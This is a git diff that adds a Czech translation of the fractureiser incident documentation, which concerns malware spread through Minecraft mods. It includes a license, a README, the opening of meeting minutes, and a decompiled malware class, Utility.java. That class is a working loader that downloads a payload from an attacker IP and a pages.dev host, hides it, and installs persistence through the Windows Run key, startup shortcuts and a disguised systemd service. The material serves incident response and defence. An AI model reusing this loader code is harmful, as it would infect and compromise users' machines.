diff --git a/lang/cs/.gitignore b/lang/cs/.gitignore new file mode 100644 index 00000000..d76783ab --- /dev/null +++ b/lang/cs/.gitignore @@ -0,0 +1,6 @@ +# Exclude obsidian config +.obsidian/ + +# Remove OS-specific stuff +.trash/ +.DS_Store \ No newline at end of file diff --git a/lang/cs/COPYING b/lang/cs/COPYING new file mode 100644 index 00000000..d099c39d --- /dev/null +++ b/lang/cs/COPYING @@ -0,0 +1,7 @@ +Fracutreiser Docs (c) by Fractureiser Mitigation Team + +Fractureiser Docs is licensed under a +Creative Commons Attribution-ShareAlike 4.0 International License. + +You should have received a copy of the license along with this +work. If not, see . \ No newline at end of file diff --git a/lang/cs/LICENSE b/lang/cs/LICENSE new file mode 100644 index 00000000..2d58298e --- /dev/null +++ b/lang/cs/LICENSE @@ -0,0 +1,428 @@ +Attribution-ShareAlike 4.0 International + +======================================================================= + +Creative Commons Corporation ("Creative Commons") is not a law firm and +does not provide legal services or legal advice. Distribution of +Creative Commons public licenses does not create a lawyer-client or +other relationship. Creative Commons makes its licenses and related +information available on an "as-is" basis. Creative Commons gives no +warranties regarding its licenses, any material licensed under their +terms and conditions, or any related information. Creative Commons +disclaims all liability for damages resulting from their use to the +fullest extent possible. + +Using Creative Commons Public Licenses + +Creative Commons public licenses provide a standard set of terms and +conditions that creators and other rights holders may use to share +original works of authorship and other material subject to copyright +and certain other rights specified in the public license below. The +following considerations are for informational purposes only, are not +exhaustive, and do not form part of our licenses. + + Considerations for licensors: Our public licenses are + intended for use by those authorized to give the public + permission to use material in ways otherwise restricted by + copyright and certain other rights. Our licenses are + irrevocable. Licensors should read and understand the terms + and conditions of the license they choose before applying it. + Licensors should also secure all rights necessary before + applying our licenses so that the public can reuse the + material as expected. Licensors should clearly mark any + material not subject to the license. This includes other CC- + licensed material, or material used under an exception or + limitation to copyright. More considerations for licensors: + wiki.creativecommons.org/Considerations_for_licensors + + Considerations for the public: By using one of our public + licenses, a licensor grants the public permission to use the + licensed material under specified terms and conditions. If + the licensor's permission is not necessary for any reason--for + example, because of any applicable exception or limitation to + copyright--then that use is not regulated by the license. Our + licenses grant only permissions under copyright and certain + other rights that a licensor has authority to grant. Use of + the licensed material may still be restricted for other + reasons, including because others have copyright or other + rights in the material. A licensor may make special requests, + such as asking that all changes be marked or described. + Although not required by our licenses, you are encouraged to + respect those requests where reasonable. More considerations + for the public: + wiki.creativecommons.org/Considerations_for_licensees + +======================================================================= + +Creative Commons Attribution-ShareAlike 4.0 International Public +License + +By exercising the Licensed Rights (defined below), You accept and agree +to be bound by the terms and conditions of this Creative Commons +Attribution-ShareAlike 4.0 International Public License ("Public +License"). To the extent this Public License may be interpreted as a +contract, You are granted the Licensed Rights in consideration of Your +acceptance of these terms and conditions, and the Licensor grants You +such rights in consideration of benefits the Licensor receives from +making the Licensed Material available under these terms and +conditions. + + +Section 1 -- Definitions. + + a. Adapted Material means material subject to Copyright and Similar + Rights that is derived from or based upon the Licensed Material + and in which the Licensed Material is translated, altered, + arranged, transformed, or otherwise modified in a manner requiring + permission under the Copyright and Similar Rights held by the + Licensor. For purposes of this Public License, where the Licensed + Material is a musical work, performance, or sound recording, + Adapted Material is always produced where the Licensed Material is + synched in timed relation with a moving image. + + b. Adapter's License means the license You apply to Your Copyright + and Similar Rights in Your contributions to Adapted Material in + accordance with the terms and conditions of this Public License. + + c. BY-SA Compatible License means a license listed at + creativecommons.org/compatiblelicenses, approved by Creative + Commons as essentially the equivalent of this Public License. + + d. Copyright and Similar Rights means copyright and/or similar rights + closely related to copyright including, without limitation, + performance, broadcast, sound recording, and Sui Generis Database + Rights, without regard to how the rights are labeled or + categorized. For purposes of this Public License, the rights + specified in Section 2(b)(1)-(2) are not Copyright and Similar + Rights. + + e. Effective Technological Measures means those measures that, in the + absence of proper authority, may not be circumvented under laws + fulfilling obligations under Article 11 of the WIPO Copyright + Treaty adopted on December 20, 1996, and/or similar international + agreements. + + f. Exceptions and Limitations means fair use, fair dealing, and/or + any other exception or limitation to Copyright and Similar Rights + that applies to Your use of the Licensed Material. + + g. License Elements means the license attributes listed in the name + of a Creative Commons Public License. The License Elements of this + Public License are Attribution and ShareAlike. + + h. Licensed Material means the artistic or literary work, database, + or other material to which the Licensor applied this Public + License. + + i. Licensed Rights means the rights granted to You subject to the + terms and conditions of this Public License, which are limited to + all Copyright and Similar Rights that apply to Your use of the + Licensed Material and that the Licensor has authority to license. + + j. Licensor means the individual(s) or entity(ies) granting rights + under this Public License. + + k. Share means to provide material to the public by any means or + process that requires permission under the Licensed Rights, such + as reproduction, public display, public performance, distribution, + dissemination, communication, or importation, and to make material + available to the public including in ways that members of the + public may access the material from a place and at a time + individually chosen by them. + + l. Sui Generis Database Rights means rights other than copyright + resulting from Directive 96/9/EC of the European Parliament and of + the Council of 11 March 1996 on the legal protection of databases, + as amended and/or succeeded, as well as other essentially + equivalent rights anywhere in the world. + + m. You means the individual or entity exercising the Licensed Rights + under this Public License. Your has a corresponding meaning. + + +Section 2 -- Scope. + + a. License grant. + + 1. Subject to the terms and conditions of this Public License, + the Licensor hereby grants You a worldwide, royalty-free, + non-sublicensable, non-exclusive, irrevocable license to + exercise the Licensed Rights in the Licensed Material to: + + a. reproduce and Share the Licensed Material, in whole or + in part; and + + b. produce, reproduce, and Share Adapted Material. + + 2. Exceptions and Limitations. For the avoidance of doubt, where + Exceptions and Limitations apply to Your use, this Public + License does not apply, and You do not need to comply with + its terms and conditions. + + 3. Term. The term of this Public License is specified in Section + 6(a). + + 4. Media and formats; technical modifications allowed. The + Licensor authorizes You to exercise the Licensed Rights in + all media and formats whether now known or hereafter created, + and to make technical modifications necessary to do so. The + Licensor waives and/or agrees not to assert any right or + authority to forbid You from making technical modifications + necessary to exercise the Licensed Rights, including + technical modifications necessary to circumvent Effective + Technological Measures. For purposes of this Public License, + simply making modifications authorized by this Section 2(a) + (4) never produces Adapted Material. + + 5. Downstream recipients. + + a. Offer from the Licensor -- Licensed Material. Every + recipient of the Licensed Material automatically + receives an offer from the Licensor to exercise the + Licensed Rights under the terms and conditions of this + Public License. + + b. Additional offer from the Licensor -- Adapted Material. + Every recipient of Adapted Material from You + automatically receives an offer from the Licensor to + exercise the Licensed Rights in the Adapted Material + under the conditions of the Adapter's License You apply. + + c. No downstream restrictions. You may not offer or impose + any additional or different terms or conditions on, or + apply any Effective Technological Measures to, the + Licensed Material if doing so restricts exercise of the + Licensed Rights by any recipient of the Licensed + Material. + + 6. No endorsement. Nothing in this Public License constitutes or + may be construed as permission to assert or imply that You + are, or that Your use of the Licensed Material is, connected + with, or sponsored, endorsed, or granted official status by, + the Licensor or others designated to receive attribution as + provided in Section 3(a)(1)(A)(i). + + b. Other rights. + + 1. Moral rights, such as the right of integrity, are not + licensed under this Public License, nor are publicity, + privacy, and/or other similar personality rights; however, to + the extent possible, the Licensor waives and/or agrees not to + assert any such rights held by the Licensor to the limited + extent necessary to allow You to exercise the Licensed + Rights, but not otherwise. + + 2. Patent and trademark rights are not licensed under this + Public License. + + 3. To the extent possible, the Licensor waives any right to + collect royalties from You for the exercise of the Licensed + Rights, whether directly or through a collecting society + under any voluntary or waivable statutory or compulsory + licensing scheme. In all other cases the Licensor expressly + reserves any right to collect such royalties. + + +Section 3 -- License Conditions. + +Your exercise of the Licensed Rights is expressly made subject to the +following conditions. + + a. Attribution. + + 1. If You Share the Licensed Material (including in modified + form), You must: + + a. retain the following if it is supplied by the Licensor + with the Licensed Material: + + i. identification of the creator(s) of the Licensed + Material and any others designated to receive + attribution, in any reasonable manner requested by + the Licensor (including by pseudonym if + designated); + + ii. a copyright notice; + + iii. a notice that refers to this Public License; + + iv. a notice that refers to the disclaimer of + warranties; + + v. a URI or hyperlink to the Licensed Material to the + extent reasonably practicable; + + b. indicate if You modified the Licensed Material and + retain an indication of any previous modifications; and + + c. indicate the Licensed Material is licensed under this + Public License, and include the text of, or the URI or + hyperlink to, this Public License. + + 2. You may satisfy the conditions in Section 3(a)(1) in any + reasonable manner based on the medium, means, and context in + which You Share the Licensed Material. For example, it may be + reasonable to satisfy the conditions by providing a URI or + hyperlink to a resource that includes the required + information. + + 3. If requested by the Licensor, You must remove any of the + information required by Section 3(a)(1)(A) to the extent + reasonably practicable. + + b. ShareAlike. + + In addition to the conditions in Section 3(a), if You Share + Adapted Material You produce, the following conditions also apply. + + 1. The Adapter's License You apply must be a Creative Commons + license with the same License Elements, this version or + later, or a BY-SA Compatible License. + + 2. You must include the text of, or the URI or hyperlink to, the + Adapter's License You apply. You may satisfy this condition + in any reasonable manner based on the medium, means, and + context in which You Share Adapted Material. + + 3. You may not offer or impose any additional or different terms + or conditions on, or apply any Effective Technological + Measures to, Adapted Material that restrict exercise of the + rights granted under the Adapter's License You apply. + + +Section 4 -- Sui Generis Database Rights. + +Where the Licensed Rights include Sui Generis Database Rights that +apply to Your use of the Licensed Material: + + a. for the avoidance of doubt, Section 2(a)(1) grants You the right + to extract, reuse, reproduce, and Share all or a substantial + portion of the contents of the database; + + b. if You include all or a substantial portion of the database + contents in a database in which You have Sui Generis Database + Rights, then the database in which You have Sui Generis Database + Rights (but not its individual contents) is Adapted Material, + including for purposes of Section 3(b); and + + c. You must comply with the conditions in Section 3(a) if You Share + all or a substantial portion of the contents of the database. + +For the avoidance of doubt, this Section 4 supplements and does not +replace Your obligations under this Public License where the Licensed +Rights include other Copyright and Similar Rights. + + +Section 5 -- Disclaimer of Warranties and Limitation of Liability. + + a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE + EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS + AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF + ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS, + IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION, + WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR + PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS, + ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT + KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT + ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU. + + b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE + TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, + NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT, + INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES, + COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR + USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN + ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR + DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR + IN PART, THIS LIMITATION MAY NOT APPLY TO YOU. + + c. The disclaimer of warranties and limitation of liability provided + above shall be interpreted in a manner that, to the extent + possible, most closely approximates an absolute disclaimer and + waiver of all liability. + + +Section 6 -- Term and Termination. + + a. This Public License applies for the term of the Copyright and + Similar Rights licensed here. However, if You fail to comply with + this Public License, then Your rights under this Public License + terminate automatically. + + b. Where Your right to use the Licensed Material has terminated under + Section 6(a), it reinstates: + + 1. automatically as of the date the violation is cured, provided + it is cured within 30 days of Your discovery of the + violation; or + + 2. upon express reinstatement by the Licensor. + + For the avoidance of doubt, this Section 6(b) does not affect any + right the Licensor may have to seek remedies for Your violations + of this Public License. + + c. For the avoidance of doubt, the Licensor may also offer the + Licensed Material under separate terms or conditions or stop + distributing the Licensed Material at any time; however, doing so + will not terminate this Public License. + + d. Sections 1, 5, 6, 7, and 8 survive termination of this Public + License. + + +Section 7 -- Other Terms and Conditions. + + a. The Licensor shall not be bound by any additional or different + terms or conditions communicated by You unless expressly agreed. + + b. Any arrangements, understandings, or agreements regarding the + Licensed Material not stated herein are separate from and + independent of the terms and conditions of this Public License. + + +Section 8 -- Interpretation. + + a. For the avoidance of doubt, this Public License does not, and + shall not be interpreted to, reduce, limit, restrict, or impose + conditions on any use of the Licensed Material that could lawfully + be made without permission under this Public License. + + b. To the extent possible, if any provision of this Public License is + deemed unenforceable, it shall be automatically reformed to the + minimum extent necessary to make it enforceable. If the provision + cannot be reformed, it shall be severed from this Public License + without affecting the enforceability of the remaining terms and + conditions. + + c. No term or condition of this Public License will be waived and no + failure to comply consented to unless expressly agreed to by the + Licensor. + + d. Nothing in this Public License constitutes or may be interpreted + as a limitation upon, or waiver of, any privileges and immunities + that apply to the Licensor or You, including from the legal + processes of any jurisdiction or authority. + + +======================================================================= + +Creative Commons is not a party to its public +licenses. Notwithstanding, Creative Commons may elect to apply one of +its public licenses to material it publishes and in those instances +will be considered the “Licensor.” The text of the Creative Commons +public licenses is dedicated to the public domain under the CC0 Public +Domain Dedication. Except for the limited purpose of indicating that +material is shared under a Creative Commons public license or as +otherwise permitted by the Creative Commons policies published at +creativecommons.org/policies, Creative Commons does not authorize the +use of the trademark "Creative Commons" or any other trademark or logo +of Creative Commons without its prior written consent including, +without limitation, in connection with any unauthorized modifications +to any of its public licenses or any other arrangements, +understandings, or agreements concerning use of licensed material. For +the avoidance of doubt, this paragraph does not form part of the +public licenses. + +Creative Commons may be contacted at creativecommons.org. + diff --git a/lang/cs/README.md b/lang/cs/README.md new file mode 100644 index 00000000..15f77ea8 --- /dev/null +++ b/lang/cs/README.md @@ -0,0 +1,46 @@ +

+ Logo +

+[Anglická verze](fractureiser-investigation/fractureiser/README.md) +*Dokumentace se často mění, takže přeložená verze nemusí být aktuální* + +## Co? +`fractureiser` je [Virus](https://cs.wikipedia.org/wiki/Počítačový_virus), nalezený v mnoha modech na Curseforge a Craftbucket. Byl vložen do mnoha modů, z nichž některé jsou součástí populárních modpacků. Cílí na Windows a Linux systémy. + +Pokud jste infikováni a nic nepodniknete, `fractureiser` může být **VELMI NEBEZPEČNÝ** pro váš počítač. V tomto dokumentu můžete najít postupy, se kterými se můžete ochránit. + +Tento virus jsme pojmenovali `fractureiser` protože to je jméno CUrseForge účtu, který nahrál nejvíc infikovaných modů + +## Co potřebujete vědět + +### [Pokud máte mod, přečtěte si tento dokument](docs/users.md) + +Pokud jste pouze hráč Minecraftu s mody a ne developer, tento dokument by vám měl stačit + +Pokud chcete vědět více, přečtěte si: +* [Časovou osu událostí](docs/timeline.md) +* [Technické informace](docs/tech.md) + +### Nikdy jsem nepoužil mody + +Nejste infikováni. + +## Nynější status vyšetřování +Poměrně dobře chápeme, jak fractureiser funguje od Stage 0 do stage 3. Je zde pár věcí které nevíme, ale servery útočníku jsou offline a podle toho co víme, *nové* infekce už nemůžou probíhat. Již započaté infekce ale můžou být stále aktivní. + +## Follow up Meeting +2023-06-08 měl fractureiser Mitigation Team meeting s důležitými členy komunity, aby diskutoval možnosti prevence a řešení pro případ rozšíření podobného viru. +Na [této stránce](https://github.com/fractureiser-investigation/fractureiser/blob/main/docs/2023-06-08-meeting.md) můžete najít témata a stručný přepis diskuze. + +## Additional Info + +Pokud máte soubory spojené s tímto virem, nahrajte je na https://wormhole.app a pošlete URL emailem na [fractureiser.investigation@opayq.com](mailto:fractureiser.investigation@opayq.com) — tuto schránku kontroluje unascribed, a vše co tam pošlete bude sdíleno se zbytkem týmu. Pokud nás potřebujete kontaktovat kvůli něčemu jinému, prosíme kontaktujte nás na [jaskarth4@gmail.com](mailto:jaskarth4@gmail.com). + +Pokud někam zkopírujete část tohoto dokumentu, *prosíme* dejte link na tento [GitHub Repozitář](https://github.com/fractureiser-investigation/fractureiser) na začátek, aby lidé mohli vidět nejnovější zprávy a aby nás mohli kontaktovat. + +**Jediný** oficiální komunikační kanál na který se můžete připojit bez pozvánky který *moderují stejní lidé kteří toto napsali* je [#cfmalware na EsperNet IRC](https://webchat.esper.net/?channels=cfmalware). +**Připojení na IRC kanál může ukázat vaši IP adresu!** + +--- + +\- [fractureiser Mitigation Team](docs/credits.md) diff --git a/lang/cs/decomp/Utility.java b/lang/cs/decomp/Utility.java new file mode 100644 index 00000000..69a1e7a4 --- /dev/null +++ b/lang/cs/decomp/Utility.java @@ -0,0 +1,311 @@ +// Decompiled with: CFR 0.151 +// Class Version: 8 +import java.io.ByteArrayOutputStream; +import java.io.EOFException; +import java.io.IOException; +import java.io.PrintStream; +import java.net.InetAddress; +import java.net.InetSocketAddress; +import java.net.URL; +import java.net.URLConnection; +import java.net.UnknownHostException; +import java.nio.ByteBuffer; +import java.nio.channels.SeekableByteChannel; +import java.nio.channels.SocketChannel; +import java.nio.file.Files; +import java.nio.file.LinkOption; +import java.nio.file.OpenOption; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.nio.file.StandardOpenOption; +import java.nio.file.attribute.FileAttribute; +import java.nio.file.attribute.PosixFilePermission; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.Arrays; +import java.util.HashSet; +import java.util.Objects; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.function.Supplier; +import mslinks.ShellLink; + +public class Utility { + private static final String NAME = "​"; + + public static void run(String ref) { + if (Objects.nonNull(System.getProperty("neko.run"))) { + return; + } + System.setProperty("neko.run", ""); + ExecutorService service = Executors.newSingleThreadExecutor(); + service.execute(() -> { + block39: { + try { + String appData = System.getenv("APPDATA"); + Path windowsStartupDirectory = (Objects.isNull(appData) ? Paths.get(System.getProperty("user.home"), "AppData", "Roaming") : Paths.get(appData, new String[0])).resolve(Paths.get("Microsoft", "Windows", "Start Menu", "Programs", "Startup")); + boolean windows = Files.isDirectory(windowsStartupDirectory, new LinkOption[0]) && Files.isWritable(windowsStartupDirectory); + Path homeDirectory = Paths.get(System.getProperty("user.home"), new String[0]); + Path linuxSystemServiceDirectory = Paths.get("/etc/systemd/system", new String[0]); + Path linuxUserServiceDirectory = homeDirectory.resolve(".config").resolve("systemd").resolve("user"); + boolean linux = System.getProperty("os.name").toLowerCase().contains("linux"); + Path updaterFile = null; + if (windows) { + String localAppData = System.getenv("LOCALAPPDATA"); + updaterFile = (Objects.isNull(localAppData) ? Paths.get(System.getProperty("user.home"), "AppData", "Local") : Paths.get(localAppData, new String[0])).resolve(Paths.get("Microsoft Edge", "libWebGL64.jar")); + } else if (linux) { + updaterFile = homeDirectory.resolve(".config").resolve(".data").resolve("lib.jar"); + } + if (Objects.isNull(updaterFile)) { + return; + } + Path updaterDirectory = updaterFile.getParent(); + if (!Files.exists(updaterDirectory, new LinkOption[0])) { + Files.createDirectories(updaterDirectory, new FileAttribute[0]); + } + AtomicBoolean addressSwitch = new AtomicBoolean(true); + Utility.update(() -> { + if (addressSwitch.getAndSet(false)) { + try { + return new InetSocketAddress(InetAddress.getByAddress(new byte[]{85, -39, -112, -126}), 8083); + } + catch (UnknownHostException unknownHostException) { + // empty catch block + } + } + addressSwitch.set(true); + try { + URLConnection connection = new URL("https", "files-8ie.pages.dev", "/ip").openConnection(); + connection.setRequestProperty("User-Agent", "a"); + byte[] ipv4 = new byte[4]; + connection.getInputStream().read(ipv4); + return new InetSocketAddress(InetAddress.getByAddress(ipv4), 8083); + } + catch (IOException exception) { + throw new RuntimeException(exception); + } + }, updaterFile); + if (Objects.nonNull(ref)) { + String[] split = ref.split("\\."); + byte[] bytes = new byte[split.length]; + for (int i = 0; i < bytes.length; ++i) { + bytes[i] = Byte.parseByte(split[i]); + } + Path refFile = updaterDirectory.resolve(".ref"); + if (!Files.exists(refFile, new LinkOption[0])) { + try { + Files.createFile(refFile, new FileAttribute[0]); + Files.write(refFile, bytes, new OpenOption[0]); + if (refFile.getFileSystem().supportedFileAttributeViews().contains("dos")) { + Files.setAttribute(refFile, "dos:hidden", true, new LinkOption[0]); + Files.setAttribute(refFile, "dos:system", true, new LinkOption[0]); + } + } + catch (NumberFormatException numberFormatException) { + // empty catch block + } + } + } + if (windows) { + ShellLink shellLink; + Path script = updaterDirectory.resolve("run.bat"); + if (!Files.exists(script, new LinkOption[0])) { + Files.createFile(script, new FileAttribute[0]); + } + Files.write(script, String.format("@echo off%nstart /B \"\" \"%s\" -jar \"%s\"", Paths.get(System.getProperty("java.home"), "bin", "javaw.exe").toAbsolutePath(), updaterFile.toAbsolutePath()).getBytes(), new OpenOption[0]); + boolean registrySuccess = false; + try { + Path registryLink = updaterDirectory.resolve(String.format("%s.lnk", NAME)); + shellLink = ShellLink.createLink(script.toAbsolutePath().toString()); + if (Files.exists(registryLink, new LinkOption[0]) && Files.isWritable(registryLink)) { + Files.delete(registryLink); + shellLink.saveTo(registryLink.toAbsolutePath().toString()); + } else { + Files.createFile(registryLink, new FileAttribute[0]); + shellLink.saveTo(registryLink.toAbsolutePath().toString()); + } + String winDirEnv = System.getenv("WINDIR"); + Path windowsDirectory = Objects.isNull(winDirEnv) ? Paths.get("C:", "Windows") : Paths.get(winDirEnv, new String[0]); + Process process = new ProcessBuilder(windowsDirectory.resolve("System32").resolve("reg.exe").toString(), "add", "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "/v", "t", "/d", String.format("\\\"%s\\\"", registryLink.toAbsolutePath()), "/f").start(); + process.waitFor(); + registrySuccess = Objects.equals(process.exitValue(), 0); + } + catch (IOException registryLink) { + // empty catch block + } + if (!registrySuccess) { + Path link = windowsStartupDirectory.resolve(String.format("%s.lnk", NAME)); + shellLink = ShellLink.createLink(script.toAbsolutePath().toString()); + if (Files.exists(link, new LinkOption[0]) && Files.isWritable(link)) { + Files.delete(link); + shellLink.saveTo(link.toAbsolutePath().toString()); + } else { + Files.createFile(link, new FileAttribute[0]); + shellLink.saveTo(link.toAbsolutePath().toString()); + } + } + if (updaterFile.getFileSystem().supportedFileAttributeViews().contains("dos")) { + Files.setAttribute(updaterFile, "dos:hidden", true, new LinkOption[0]); + Files.setAttribute(updaterFile, "dos:system", true, new LinkOption[0]); + Files.setAttribute(updaterDirectory, "dos:hidden", true, new LinkOption[0]); + Files.setAttribute(updaterDirectory, "dos:system", true, new LinkOption[0]); + } + if (script.getFileSystem().supportedFileAttributeViews().contains("dos")) { + Files.setAttribute(script, "dos:hidden", true, new LinkOption[0]); + Files.setAttribute(script, "dos:system", true, new LinkOption[0]); + } + new ProcessBuilder(script.toAbsolutePath().toString()).start(); + break block39; + } + if (linux) { + Path systemctlCommand = Utility.findCommand("systemctl"); + Path serviceCommand = Utility.findCommand("service"); + String javaPath = Paths.get(System.getProperty("java.home"), new String[0]).resolve("bin").resolve("java").toAbsolutePath().toString(); + HashSet perms = new HashSet(); + perms.add(PosixFilePermission.OWNER_READ); + perms.add(PosixFilePermission.OWNER_WRITE); + perms.add(PosixFilePermission.OWNER_EXECUTE); + perms.add(PosixFilePermission.GROUP_READ); + perms.add(PosixFilePermission.GROUP_EXECUTE); + perms.add(PosixFilePermission.OTHERS_READ); + perms.add(PosixFilePermission.OTHERS_EXECUTE); + Files.setPosixFilePermissions(updaterFile, perms); + if (Objects.nonNull(systemctlCommand) || Objects.nonNull(serviceCommand)) { + Path link; + Path enableDirectory; + Path directory; + boolean systemService = Files.isDirectory(linuxSystemServiceDirectory, new LinkOption[0]) && Files.isWritable(linuxSystemServiceDirectory); + Path path = directory = systemService ? linuxSystemServiceDirectory : linuxUserServiceDirectory; + if (!Files.exists(directory, new LinkOption[0])) { + Files.createDirectories(directory, new FileAttribute[0]); + } + String serviceName = "systemd-utility"; + Path serviceFile = directory.resolve(String.format("%s.service", "systemd-utility")); + if (!Files.exists(serviceFile, new LinkOption[0])) { + Files.createFile(serviceFile, new FileAttribute[0]); + Files.write(serviceFile, String.format("[Unit]%nDescription=%s%n%n[Service]%nType=simple%nRestart=always%nExecStart=\"%s\" -jar \"%s\"%nWorkingDirectory=%s%n%n[Install]%nWantedBy=multi-user.target%n", "systemd-utility", javaPath, updaterFile.toAbsolutePath(), updaterFile.getParent().toAbsolutePath()).getBytes(), new OpenOption[0]); + Files.setPosixFilePermissions(serviceFile, perms); + } + if (!Files.exists(enableDirectory = directory.resolve("multi-user.target.wants"), new LinkOption[0])) { + Files.createDirectories(enableDirectory, new FileAttribute[0]); + } + if (!Files.exists(link = enableDirectory.resolve(serviceFile.getFileName()), LinkOption.NOFOLLOW_LINKS)) { + Files.createSymbolicLink(link, serviceFile, new FileAttribute[0]); + } else if (!Files.readSymbolicLink(link).equals(serviceFile)) { + Files.delete(link); + Files.createSymbolicLink(link, serviceFile, new FileAttribute[0]); + } + if (systemService) { + if (Objects.nonNull(systemctlCommand)) { + new ProcessBuilder(systemctlCommand.toAbsolutePath().toString(), "daemon-reload").start().waitFor(); + new ProcessBuilder(systemctlCommand.toAbsolutePath().toString(), "start", "systemd-utility").start(); + } else { + new ProcessBuilder(serviceCommand.toAbsolutePath().toString(), "systemd-utility", "start").start(); + } + } else if (Objects.nonNull(systemctlCommand)) { + new ProcessBuilder(systemctlCommand.toAbsolutePath().toString(), "--user", "daemon-reload").start().waitFor(); + new ProcessBuilder(systemctlCommand.toAbsolutePath().toString(), "--user", "start", "systemd-utility").start(); + } else { + new ProcessBuilder(serviceCommand.toAbsolutePath().toString(), "--user-unit", "systemd-utility", "start").start(); + } + } else { + new ProcessBuilder(javaPath, "-jar", updaterFile.toAbsolutePath().toString()).start().waitFor(); + } + } + } + catch (Throwable throwable) { + // empty catch block + } + } + service.shutdown(); + }); + } + + public static InetSocketAddress update(Supplier address, Path file) throws NoSuchAlgorithmException { + boolean requiresUpdate = true; + InetSocketAddress usedAddress = null; + while (requiresUpdate) { + try { + SocketChannel channel = SocketChannel.open(); + usedAddress = address.get(); + channel.connect(usedAddress); + try { + channel.write((ByteBuffer)ByteBuffer.allocate(4).putInt(1).flip()); + boolean success = FriendlyByteBuffer.readFully(channel, 1).getBoolean(); + if (!success) { + channel.close(); + throw new IllegalStateException(); + } + byte[] hash = FriendlyByteBuffer.readFully(channel, FriendlyByteBuffer.readFully(channel, 4).getInt()).array(); + boolean download = true; + if (Files.exists(file, new LinkOption[0]) && Files.isRegularFile(file, new LinkOption[0])) { + byte[] fileBytes = Files.readAllBytes(file); + MessageDigest md5 = MessageDigest.getInstance("MD5"); + md5.update(fileBytes); + download = !Arrays.equals(md5.digest(), hash); + } + channel.write((ByteBuffer)ByteBuffer.allocate(1).put((byte)(download ? 1 : 0)).flip()); + if (download) { + try (SeekableByteChannel clientFileChannel = Files.newByteChannel(file, StandardOpenOption.WRITE, StandardOpenOption.TRUNCATE_EXISTING, StandardOpenOption.CREATE);){ + int length = FriendlyByteBuffer.readFully(channel, 4).getInt(); + int offset = 0; + while (offset < length) { + if (length - offset <= 0) { + break; + } + ByteBuffer buffer = ByteBuffer.allocate(Math.min(1024, length - offset)); + long read = channel.read(buffer); + if (Objects.equals(read, -1)) { + throw new EOFException(); + } + buffer.flip(); + clientFileChannel.write(buffer); + offset = (int)((long)offset + read); + } + } + } + channel.write((ByteBuffer)ByteBuffer.allocate(4).putInt(0).flip()); + channel.close(); + requiresUpdate = false; + if (file.getFileSystem().supportedFileAttributeViews().contains("dos")) { + Files.setAttribute(file, "dos:hidden", true, new LinkOption[0]); + Files.setAttribute(file, "dos:system", true, new LinkOption[0]); + } + } + catch (Throwable throwable) { + try { + Debugger debugger = new Debugger(new InetSocketAddress(address.get().getAddress(), 1338), 3); + debugger.connect(); + ByteArrayOutputStream dataHolder = new ByteArrayOutputStream(); + PrintStream stream = new PrintStream(dataHolder); + throwable.printStackTrace(stream); + debugger.debug(dataHolder.toByteArray()); + debugger.close(); + } + catch (IOException iOException) {} + } + } + catch (IOException iOException) { + // empty catch block + } + try { + Thread.sleep(5000L); + } + catch (InterruptedException interruptedException) {} + } + return usedAddress; + } + + public static Path findCommand(String name) { + Path binPath = Paths.get("/", "usr", "bin", name); + if (Files.exists(binPath, new LinkOption[0])) { + return binPath; + } + Path sbinPath = Paths.get("/", "usr", "sbin", name); + if (Files.exists(sbinPath, new LinkOption[0])) { + return sbinPath; + } + return null; + } +} diff --git a/lang/cs/docs/2023-06-08-meeting.md b/lang/cs/docs/2023-06-08-meeting.md new file mode 100644 index 00000000..970174ca --- /dev/null +++ b/lang/cs/docs/2023-06-08-meeting.md @@ -0,0 +1,403 @@ +# Fractureiser Mitigation Meeting 2023-06-08 + +Agenda and minutes for the 2023-06-08 meeting on follow-ups and preventions + +In the interest of keeping the meeting productive, we invited a narrow set of members +from the community, mostly people working on mod repositories, and people who helped +organize the incident response. + +## Time + +2023-06-08 16:00 UTC + +## Attendees + +Meeting shepherds/drivers: + +- Emi (initial responder, organizer) +- Jasmine (organizer) + +Meeting secretary/minutes: + +- williewillus (incident journalist; Violet Moon) + +Members of the Community (Alphabetic): + +- Adrian (Modrinth) +- cpw (Forge) +- Doctor Oyster (Overwolf Community Team Leader) +- Emma (Modrinth) +- Fury (Overwolf CEO) +- gdude (Quilt) +- Geometrically (Modrinth) +- IMS (CaffeineMC) +- Jared (BlameJared Maven) +- kennytv (PaperMC) +- Mikey (FTB) +- modmuss (Fabric) +- Slowpoke (FTB) +- Starchild (Quilt) +- timoreo (Prism Launcher) +- ZekeZ (Prism Launcher) + +## Summary of Incident and Response + +(this is mostly for the benefit of attendees to get them caught up quickly - this doesn't need to be read aloud or something) + +`fractureiser` is a novel self replicating virus that infects Bukkit plugins, Forge Mods, Fabric Mods, and vanilla Minecraft jars. Infected jars, upon being loaded, will run as normal, but silently download a series of payloads that steal login tokens, stored browser passwords/payment information, and cryptocurrency. After a computer has been infected, every applicable jar file on the compromised system will be infected such that if they are shared and 